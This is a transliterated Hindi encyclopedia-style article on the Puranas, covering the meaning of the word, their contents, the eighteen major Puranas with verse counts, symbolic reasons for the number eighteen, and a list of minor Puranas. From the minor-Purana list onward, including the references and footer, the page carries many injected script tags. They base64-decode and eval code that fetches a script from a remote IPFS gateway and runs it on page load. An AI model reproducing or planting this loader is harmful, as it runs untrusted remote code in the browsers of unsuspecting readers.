पुराण
[[chitr:God-Vishnu.jpg|thumb|200px|bhagavan vishnu
God Vishnu]]
puranoan ki rachana vaidik kal ke kafi bad ki hai,ye smriti vibhag mean rakhe jate haian. puranoan mean srishti ke arambh se ant tak ka vishad vivaran diya gaya hai . puranoan ko manushy ke bhoot, bhavishy, vartaman ka darpan bhi kaha ja sakata hai . is darpan mean manushy apane pratyek yug ka chehara dekh sakata hai. is darpan mean apane atit ko dekhakar vah apana vartaman sanvar sakata hai aur bhavishy ko ujjval bana sakata hai . atit mean jo hua, vartaman mean jo ho raha hai aur bhavishy mean jo hoga, yahi kahate haian puran. inamean hindoo devi-devataoan ka aur pauranik mithakoan ka bahut achchha varnan hai. inaki bhasha saral aur katha kahani ki tarah hai. puranoan ko vedoan aur upanishadoan jaisi pratishtha prapt nahian hai.
puran mahima
puran shabd ‘pura’ evan ‘an’ shabdoan ki sandhi se bana hai, jisaka shabdik arth -‘purana’ athava ‘prachin’ hota hai . ‘pura’ shabd ka arth hai - anagat evan atit . 200px|thumb|left ‘an’ shabd ka arth hota hai -kahana ya batalana arthath jo puratan athava atit ke tathyoan, siddhaantoan, shikshaoan, nitiyoan, niyamoan aur ghatanaoan ka vivaran prastut kare. mana jata hai ki srishti ke rachanakarta brahmaji ne sarvapratham jis prachinatam dharmagranth ki rachana ki, use puran ke nam se jana jata hai. hindoo sanatan dharm mean, puran srishti ke prarambh se mane gaye haian, isalie inhean srishti ka prachinatam granth man liya jata hai kintu ye bahut bad ki rachana hai. soory ke prakash ki bhaanti puran ko jnan ka srot mana jata hai. jaise soory apani kiranoan se aandhakar hatakar ujala kar deta hai, usi prakar puran apani jnanaroopi kiranoan se manav ke man ka aandhakar door karake saty ke prakash ka jnan dete haian. sanatanakal se hi jagath puranoan ki shikshaoan aur nitiyoan par hi adharit hai.
vishayavastu
prachinakal se puran devataoan, rrishiyoan, manushyoan - sabhi ka margadarshan karate rahe haian. puran manushy ko dharm evan niti ke anusar jivan vyatit karane ki shiksha dete haian. puran manushy ke karmoan ka vishleshan kar unhean dushkarm karane se rokate haian. puran vastutah vedoan ka vistar haian. ved bahut hi jatil tatha shushk bhasha - shaili mean likhe ge haian. vedavyas ji ne puranoan ki rachana aur punarrachana ki. kaha jata hai, "poornat puran." jisaka arth hai, jo vedoan ka poorak ho, arthath puran.[1] vedoan ki jatil bhasha mean kahi gee batoan ko puranoan mean saral bhasha mean samajhaya gaya haian. puran-sahity mean avataravad ko pratishthit kiya gaya hai. nirgun nirakar ki satta ko manate hue sagun sakar ki upasana karana in granthoan ka vishay hai. puranoan mean alag-alag devi-devataoan ko kendr mean rakhakar pap-puny, dharm-adharm aur karm-akarm ki kahaniyaan haian. prem, bhakti, tyag, seva, sahanashilata aise manaviy gun haian, jinake abhav mean unnat samaj ki kalpana nahian ki ja sakati. puranoan mean devi-devataoan ke anek svaroopoan ko lekar ek vistrit vivaran milata hai. puranakaroan ne devataoan ki dushpravrittiyoan ka vyapak vivaran kiya hai lekin mool uddeshy sadbhavana ka vikas aur saty ki pratishtha hi hai.
puranoan ki sankhya
[[chitr:Lord-Shiva-Statue-Rishikesh.jpg|bhagavan shiv ki moorti, rrishikesh
Lord Shiva Statue, Rishikesh|thumb|200px]]
[[chitr:Narada-Muni.jpg|thumb|narad muni
Narad Muni|left]]
18 vikhyat puran haian :
[[chitr:Agni-Deva.jpg|agnidev
Agni Deva|thumb]]
yah soochi vishnu puran par adharit hai. matsy puran ki soochi mean shiv puran ke sthan par vayu puran hai.
puranoan mean shlok sankhya
[[chitr:Kurma-Avatar.jpg|thumb|koorm avatar
Kurma Avatar|left]]
[[chitr:Varaha-Avatar.jpg|thumb|varah avatar
Varaha Avatar|left]]
[[chitr:Matsya-Avatar.jpg|thumb|matsy avatar
Matsya Avatar]]
sansar ki rachana karate samay brahma ne ek hi puran ki rachana ki thi. jisamean ek arab shlok the. yah puran bahut hi vishal aur kathin tha. puranoan ka jnan aur upadesh devataoan ke alava sadharan janoan ko bhi saral dhang se mile ye sochakar maharshi ved vyas ne puran ko atharah bhagoan mean baant diya tha. in puranoan mean shlokoan ki sankhya char lakh hai. maharshi vedavyas dvara rache gaye atharah puranoan aur unake shlokoan ki sankhya is prakar hai :
[[chitr:Vamana.jpg|thumb|vaman avatar
Vamana Avtar]]
[[chitr:Garuda.jpg|garu d
Garuda|thumb]]
| puran | shlokoan ki sankhya |
|---|---|
| brahmapuran | das hazar |
| padmapuran | pachapan hazar |
| vishnupuran | teis hazar |
| shivapuran | chaubis hazar |
| shrimadbhavatapuran | atharah hazar |
| naradapuran | pachchis hazar |
| markandeyapuran | nau hazar |
| agnipuran | pandrah hazar |
| bhavishyapuran | chaudah hazar paanch sau |
| brahmavaivartapuran | atharah hazar |
| liangapuran | gyarah hazar |
| varahapuran | chaubis hazar |
| skandhapuran | ikyasi hazar ek sau |
| koormapuran | satrah hazar |
| matsayapuran | chaudah hazar |
| garu dapuran | unnis hazar |
| brahmandapuran | barah hazar |
| manapuran | das hazar |
puranoan ki sankhya atharah kyoan ?
- anima, laghima, prapti, prakamy, mahima, siddhi, eeshitv ya vashitv, sarvakamavasayita, sarvajnatv, doorashravan, srishti, parakayapravesh, vakasiddhi, kalpavrikshatv, sanharakaranasamarthy, bhavana, amarata, sarvanyay - ye attharah siddhiyaan mani jati haian.
- saankhy darshan mean purush, prakriti, man, paanch mahabhoot ( prithvi, jal, vayu, agni aur akash ), paanch jnanedri ( kan, tvacha, chakshu, nasika aur jihva) aur paanch karmeandri (vak, pani, pad, payu aur upasth ) ye atharah tattv varnit haian.
- chhah vedaang, char ved, mimaansa, nyayashastr, puran, dharmashastr, arthashastr, ayurved, dhanurved aur gandharv ved ye atharah prakar ki vidyaean mani jati haian .
- ek sanvatsar, paanch rrituean aur barah mahine - ye sab milakar kal ke atharah bhedoan ko batate haian .
- shrimadh bhagavat gita ke adhyayoan ki sankhya bhi atharah hai .
- shrimadh bhagavat mean kul shlokoan ki sankhya atharah hazar hai .
- shriradha, katyayani, kali, tara, kooshmaanda, lakshmi, sarasvati, gayatri, chhinnamasta, shodashi, tripurabhairavi, dhoomavati, bagalamukhi, matangi, parvati, siddhidatri, bhagavati, jagadamba ke ye atharah svaroop mane jate haian .
- shrivishnu, shiv, brahma, indr adi devataoan ke aansh se prakat huee bhagavati durga atharah bhujaoan se sushobhit haian .
- chitr:ardhnarishwar.jpg
arddhanarishvar
Ardhnarishwar - chitr:Kali-shiv.jpg
bhagavati shri kali
Kali Devi - chitr:Lakshmi.jpg
lakshmi devi
Lakshmi Devi - chitr:Saraswati-Devi.jpg
bhagavati sarasvati
Saraswati Devi - chitr:gayatri-devi.jpg
gayatri devi
Gayatri Devi - chitr:Durga-Devi.jpg
durga devi
Durga Devi - chitr:Brahma-Kund-Vrindavan-3.jpg
brahma
Brahma - chitr:Radha-Krishna-Janmbhumi-Mathura-1.jpg
radha-krishna, krishna janmabhoomi
Radha-Krishna, Krishna's Birth Place
up puran
[[chitr:Narsingh-Bhagwan.jpg|nrisianh avatar
Narsingh Avatar|thumb]]
maharshi vedavyas ne atharah puranoan ke atirikt kuchh up-puranoan ki bhi rachana ki hai. up-puranoan ko puranoan ka hi sararoop kaha ja sakata hai . up-puran is prakar haian:
- sanatkumar puran
- kapil puran
- samb puran
- adity puran
- nrisianh puran
- ushanah puran
- nandi puran
- maheshvar puran
- durvasa puran
- varun puran
- saur puran
- bhagavat puran
- manu puran
- kalikapuran
- parashar puran
- vasishth puran
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ jo vedoan ki tika haian
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>